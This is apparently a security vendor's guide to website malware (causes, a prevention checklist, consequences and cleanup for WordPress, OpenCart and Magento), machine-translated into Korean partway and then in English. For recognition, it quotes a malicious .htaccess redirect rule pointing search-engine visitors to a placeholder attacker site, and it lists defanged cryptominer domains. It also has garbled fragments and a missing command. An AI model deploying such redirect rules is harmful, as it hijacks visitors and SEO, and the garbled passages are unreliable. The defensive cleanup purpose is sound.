Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

악성코드 공격은 나쁘다! 그들은 당신의 사업을 정지시키고 돈, 평판, 심지어 고객까지 잃게 합니다. 일반적으로 비즈니스 소유자는 맬웨어에 감염된 후에만 맬웨어에 관심을 갖기 시작합니다. 누구나 해킹을 당하기 전까지는 안전하다고 느끼고 해커가 시도하지 않았기 때문에 지금까지 해킹을 당하지 않았다고 합니다. 일단 감염되면 맬웨어라는 이 혼란을 해결하기 위한 원인, 결과 및 단계를 이해하는 것이 필수적입니다. 다음은 원인을 이해하고 맬웨어와 싸우고 그로 인한 혼란을 해결하는 데 도움이 되는 글입니다.

맬웨어 공격의 상위 5가지 원인:

  • 취약한 웹사이트 코드: 좋은 제품이 방문자를 웹사이트로 끌어들이듯이 나쁜 코드는 해커를 끌어들입니다. 웹사이트 코드에 일부 공격에 취약한 것으로 알려진 더 이상 사용되지 않는 기능이 포함되어 있는 경우가 많습니다. 해커는 종종 웹에서 이러한 기능을 검색하며 웹 사이트에 이러한 기능이 포함되어 있기 때문에 자동으로 해커의 레이더에 빠집니다. 다음은 사용되지 않는 함수의 예입니다. 해커가 검색하는 항목:
    [code inline=”true” scrollable=”true”]사이트:wpseo get_value는 버전 WPSEO 1.5.0부터 더 이상 사용되지 않습니다[/code]결과적으로 이 사용되지 않는 기능을 사용하는 모든 웹사이트가 표시됩니다.
웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계
  • 패치되지 않은 취약점: WordPress, OpenCart, Magento, Drupal, Joomla 등과 같은 CMS에는 모두 치명적인 취약점이 발견되었습니다. 이러한 취약점으로 인해 이러한 CMS를 사용하는 수백만 개의 웹사이트가 공격에 취약합니다. 이러한 CMS가 발전함에 따라 보안 수준도 향상되었습니다. 그러나 이러한 CMS가 사용하는 수천 개의 플러그인/확장 프로그램이 있어 해커가 쉽게 진입할 수 있습니다. 2016년 논란이 된 파나마 페이퍼스 누출은 수백만 개의 워드프레스 웹사이트에서 사용하는 유명한 Revolution Slider 플러그인의 취약점 때문이었습니다.
    웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계
  • 입력 삭제: 웹 사이트에는 검색 창, 로그인 영역, 등록 양식 등과 같은 여러 형식이 있습니다. 이러한 형식에서 사용자가 입력한 내용이 삭제되지 않으면 해커가 악의적인 코드를 추가할 수 있는 경우가 많습니다. 이것은 많은 작업을 하지 않고도 웹사이트에 들어갈 수 있는 쉬운 방법입니다. XSS 및 SQL 주입과 같은 공격은 입력 삭제의 부족으로 인한 직접적인 결과입니다. 최근 Joomla는 1년 된 LDAP 취약점을 패치했습니다! 이 취약점은 8년 동안 해커에 의해 악용되었으며 이 취약점의 원인은 입력 필드의 위생 처리 부족이었습니다.
  • 서버 수준 보안 누출: 웹사이트의 CMS나 코드의 유출보다는 덜하지만, 서버 또한 악성코드 공격의 원인이 되는 경우가 많습니다. 그리고 서버가 공격을 받을 때 감염된 웹 사이트의 수는 일반적으로 단 한 번의 공격으로 수천 개에서 실행됩니다. Apache, Nginx, Azure, Tomcat 모두 취약점이 있는 것으로 알려져 있습니다. 최근 8억 명 이상의 소비자 정보를 집계하는 애그리게이터 Equifax가 해킹당했습니다. 해킹의 원인은 웹서버 취약점으로 알려졌다. 웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계
  • 웹사이트에 방화벽 없음: 웹사이트는 모든 보안 모범 사례를 갖춘 후에도 맬웨어에 감염됩니다. 귀하의 웹사이트를 연중무휴로 찾는 추가 보호 계층을 갖는 것이 중요합니다. 웹사이트 방화벽은 합법적인 트래픽만 웹사이트에 도달하고 악성 봇/해커가 문 자체에서 차단되도록 합니다. Astra의 고객들이 아래 화면을 보고 얼마나 안도했는지는 다음과 같습니다. 웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

위에서 언급한 웹사이트에 대한 악성코드 공격의 가장 흔한 원인이 있지만 원인은 위의 것들에만 국한되지 않습니다. 웹사이트에 멀웨어가 유입되지 않도록 하기 위해 따를 수 있는 간단한 체크리스트는 다음과 같습니다.

웹사이트 맬웨어 방지 체크리스트

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

코드에 더 이상 사용되지 않는 함수가 없습니다.

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

모든 입력 삭제

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

FTP는 없지만 SFTP

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

취약한 SSH 버전이 사용되지 않음

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

웹사이트 방화벽 설치

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

모든 플러그인 업데이트

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

최신 CMS 버전 실행

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

강력한 cPanel 자격 증명

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

Google 웹마스터에 경고 없음

해커는 맬웨어 공격 뒤에 다른 동기를 가질 수 있습니다. 동기에 따라 웹 사이트에 대한 공격 유형과 결과가 다릅니다. 때때로 해커는 돈을 위해 여기에 있거나 때로는 웹 서버 리소스를 활용하여 더 큰 공격을 시작하는 것과 같은 더 큰 의제를 가지고 있습니다. 맬웨어 공격의 몇 가지 결과가 아래에 나열되어 있습니다.

맬웨어 공격의 결과 [Infograph]

  1. 민감한 데이터 손실
  2. 서비스 중단
  3. 서버 리소스의 악의적 사용
  4. SEO 중독
  5. 최종 사용자에 대한 표적 공격 시작

맬웨어 공격의 추가 결과는 아래 정보 그래프에 설명되어 있습니다.

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

모든 보안 모범 사례를 처리했음에도 불구하고 맬웨어가 여전히 웹 사이트에 침투하는 경우가 있습니다. 제로데이 덕분에! 웹 사이트가 맬웨어에 감염된 경우 공격 직후에 몇 가지 작업을 올바르게 수행하면 영향을 최소화하는 데 도움이 될 수 있습니다. 악성코드 공격 이후 시간이 지날수록 파급력도 커집니다. 더 많은 고객이 감염되거나 Google에서 감염된 코드로 웹사이트의 색인을 생성하는 것을 원하지 않습니다. 웹사이트에 멀웨어가 있는 동안 Google이 웹사이트의 색인을 생성하면 웹사이트에 플래그가 지정되고 SEO 노력이 크게 감소합니다.

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

맬웨어에 감염된 웹사이트를 수정하는 단계

  • 검색 결과 확인: 검색 결과는 감염의 규모와 원인이 될 수 있는 맬웨어 유형을 확인하는 데 도움이 됩니다. 귀하의 웹사이트에 약국 제품 링크를 생성하는 알려진 악성코드나 귀하의 SEO 노력을 이용하려는 유명한 일본 스팸이 있습니다. Google에 다음 코드를 입력하면 이러한 유형의 공격을 파악하는 데 도움이 되는 경우가 많습니다.
    [code inline=”true” scrollable=”true”]site:YourWebsite.com[/code]웹사이트가 일본 스팸과 같은 것에 감염되면 다음 페이지가 표시됩니다. 웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계
  • .htaccess 검사: 해커는 일반적으로 서버의 htaccess 파일에 URL 리디렉션 코드를 추가합니다. 이러한 코드는 해커가 있는 SEO 스팸 감염에서 일반적입니다. 또한 Google 웹마스터에서 웹사이트를 가로채기 위해 일반적으로 htaccess 파일에 일부 코드를 추가합니다. 악성 코드를 발견하면 즉시 제거해야 합니다. 악성 .htaccess 파일은 다음과 같습니다.
    RewriteEngine On
    ErrorDocument 404 https://some-maliciousSite.com/yyy.php[*]
    
    * Note. The file name/type could be anything
    
    RewriteCond %{HTTP_REFERER} .google. [OR]
    RewriteCond %{HTTP_REFERER} .ask. [OR]
    RewriteCond %{HTTP_REFERER} .yahoo. [OR]
    RewriteCond %{HTTP_REFERER} .bing. [OR]
    RewriteCond %{HTTP_REFERER} .dogpile. [OR]
    RewriteCond %{HTTP_REFERER} .facebook. [OR]
    RewriteCond %{HTTP_REFERER} .twitter. [OR]
    RewriteCond %{HTTP_REFERER} .blog. [OR]
    RewriteCond %{HTTP_COOKIE} !^._yyyy=yyyyy.$ (*** Present in some hacks)
    RewriteCond %{HTTP_USER_AGENT} .Windows.$ [NC] (*** Present in some hacks)
    RewriteRule ^(.*)$ https://some-maliciousSite.com/yyy.php [R=301,L]
  • 색인 파일의 진위 확인: 해커는 종종 인덱스 파일에 악성 파일의 경로를 포함합니다. 이렇게 하면 악성 파일이 웹사이트 전체에 포함됩니다. 개발자가 인덱스 파일에 다른 파일을 포함시킨 것처럼 매우 합법적으로 보이기 때문에 인덱스 파일에서 악성 코드를 식별하기 어려운 경우가 많습니다. 하지만 자세히 살펴보면 인덱스에 포함된 파일이 악성 코드임을 알 수 있습니다.

웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계
  • 웹마스터에게 단서가 있음: Google은 웹사이트를 지속적으로 검사하고 종종 멀웨어가 삽입된 정확한 페이지를 찾아낼 수 있습니다. 이 정보는 웹마스터의 '보안 문제' 탭에서 확인할 수 있습니다. URL이 표시되면 '크롤링'으로 이동하는 것이 좋습니다. tab and click on ‘fetch as google’ . After fetching the URLs as google, you can see the infected part highlighted by google in the code.
    웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계
  • Japanese SEO Spam:Steps to Find &Fix

    If searching for your website on Google throws Japanese characters, then chances are that you’ve been infected with Japanese SEO spam. The interesting thing about this spam is that after you’ve taken care of bad code in index.php or htaccess, still the infection persists. This is because there are no specific traits of this malware. For every CMS, this malware is injected in a different way.

    웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

    The interesting part is that is you go to the URLs indexed by Google, you’ll find that those pages do not exist on your website. A 404 error would be thrown to anyone who goes to those pages. But when a search engine indexes these pages, Japanese characters would shown up. This is a classic example of cloaking attacking aimed at capitalizing on your SEO rankings.

    Find more about steps to fix this spam in a detailed guide on fixing Japanese spam or you could always contact us if you want our experts to help you here.

    웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

    How to Remove Pub2srv &Mobisla Website Infection

    We’ve been watching a specific malware infection targeting OpenCart &WordPress websites for several months. It’s commonly referred to as the pub2srv malware infection which redirects your website visitors to other malicious domains like go.pub2srv.com , go.mobisla.com and go.oclaserver.com.

    웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

    If you use WordPress , the key areas to look for Pub2srv, Mobisls &Oclaserver malware are:

    • index.php
    • functions.php
    • Database tables
    • Read about detailed steps here

    If you use OpenCart , then be sure to check:

    • oc_product_description table
    • oc_category_description table
    • A step by step procedure can be found in this guide

    Here is a detailed step by step guide to fix Pub2srv, Mobisla and Oclaserver malware.

    Website Links Redirecting to Spammy Websites

    This is the most disturbing of all the infections. Depending on the extend till your website is infected this one gets bad if not taken care of early. Any visitor entering your website is redirected to a malicious website or phishing page. Here’s an example video:

    Looking for malicious code in your index.php, searching for unwanted php files in core CMS files and checking your webmasters search console are the key things here. A more elaborate guide on how to deal with redirection issue can be found here.

    3 Most Common Malware Infections in OpenCart &Magento

    1. Base64 Encoded Malicious Code: If you see files containing cryptic pieces of code which look something like the image below, chances are you’ve been infected with this malware. We usually encounter this infection which hackers are trying to target payment gateways of a Magento, OpenCart of WordPress store.

    웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계
  • The Database Infection: capitalize on your SEOWhen hackers want to cloak URLs of your website and , they choose to infect the database. Product descriptions and categories are filled with encoded pieces of malicious code.
  • The Deadly Backdoor: More than malware, backdoor is to ensure that hackers are able to re-infect your website even if clean some files up. It’s difficult to locate backdoors as hackers hide them at subtle areas difficult to locate.
  • More about all these infections and how to fix them can be found at our detailed guide here

    How to Prevent OpenCart Malware Injection

    OpenCart being the popular e-commerce CMS is often targeted by hackers, bots and scammers. Usually the aim is to steal end customers’ credit card information. We’ve seen multiple reasons for OpenCart infections depending on the version you are using. A few top reasons include:

    1. OpenCart Version Has Never Been Updated
    2. Plugins With Weak Security Practices
    3. No Website Firewall or Bad Bot Protection
    4. Unrestricted File Uploads &Unsanitized User Inputs

    We’ve made a detailed guide which explains how OpenCart malware be prevented.

    Tackling Magento &OpenCart Credit Card Malware

    Credit Card malware or Credit Card Hijack is when malicious PHP/JavaScript code is injected into Magento and OpenCart shops which allows hackers to intercept credit card data. This new way of credit card fraud has been undetected for 6 months.

    With the increasing popularity of e-commerce platforms like Magento and OpenCart, the cases of malware infections have also risen. Hackers and cyber criminals have been modifying the core files of these CMSs to steal the credit card information of store customers. Here’s a detailed guide on how to locate this malware and fix it.

    How to Fix Google Cross Site Malware Warnings?

    Google often flags websites marking them with a ‘Cross Site Malware’ warning. Usually this warning is caused when your website is linking content or loading libraries from a another domain that has malware or is malicious in nature. Google usually tells the domain from where the questionable content might be getting linked.

    웹사이트 맬웨어 공격에 대한 상세 가이드:원인, 결과 및 해결 단계

    The immediate steps to fix this should be to search your website’s entire code for the domain/URL which is causing cross site malware warning. You can do that by running this command in your SSH console:

    Here /var/www should be the path of the home directory of your website. And URL should be replaced with the domain that is causing the cross site malware problem according to Google.

    More details about the fix can be found here.

    How to Remove Crypto Mining Malware Infecting WordPress, OpenCart, Magento Websites?

    With the rise of crypto currencies &their power of making people rich within days – hackers have now started to target websites to infect them with crypto mining malware. Hackers use CoinHive, a service that is used as an alternative for advertisements by website owners to monetize traffic on their website.

    CoinHive installs as javascript on the website and mines crypto currencies using Monero blockchain. While if a website owner is knowingly using CoinHive as a mean to monetize their traffic it’s not a problem. But hackers use CoinHive to illegally install the mining Javascript on hacked websites and use their resources to mine coins. A few domains which are usually used include:

    • ads.locationforexpert[.]com
    • camillesanz[.]com/lib/status.js
    • security.fblaster[.]com
    • fricangrey[.]top/redirect_base/redirect.js
    • alemoney[.]xyz/js/stat.js
    • africangirl[.]top/redirect_base/redirect.js

    More details on finding this malware &fixing it can be found in our detailed guide here.

    WordPress &Joomla Websites Slow Down – Cloki Malware Could be the Cause

    Cloki malware is quite a dangerous malware that has been causing a havoc among various PHP based websites. The top CMSs infected are WordPress &Joomla. A few symptoms of Cloki malware are:

    • Slowing down of the website
    • Message from hosting provider about website utilizing too many resourcers
    • Presence of unidentified cron jobs on the server
    • Mail servers not working properly

    Cloke malware is able to execute core server commands without having access to cPanel or SSH. A malware scan followed by carefully reviewing of all the cron jobs is recommended.

    Details on how to fix the Cloki malware can be found in our detailed guide to remove the Cloki malware.

    결론

    We clean hundreds of website from malware every month. In all these websites 80% of the times the malware has infected the website atleast 2-months before the owner comes to us . Imagine since when the vulnerabilities causing the attack would have been around, all unpatched. It is important to make sure you update all your plug-ins, stay updated with security trends around your website’s tech stack and be proactive in implementing the patches just as they are released.

    After working with a number of website owners, we have realized that a business owner has so much to take care of right from sales, SEO, marketing, inventory etc. that often security takes a back seat . And then security looks like this elephant in the room that you do not want to address.

    Our website firewall takes the headache of security away from the business owners, giving them a plug-n-play solution which comes pre-configured according to the CMS they are using. Astra requires no coding or IT knowledge and takes 5-minutes to install. Making security that simple and giving you time to concentrate on sales, marketing and other things.

    Here’s what to do next…

    If you want us to help you fix your malware infected website within a few hours:contact us If you are a developer, download our secure coding checklist , which is free to download.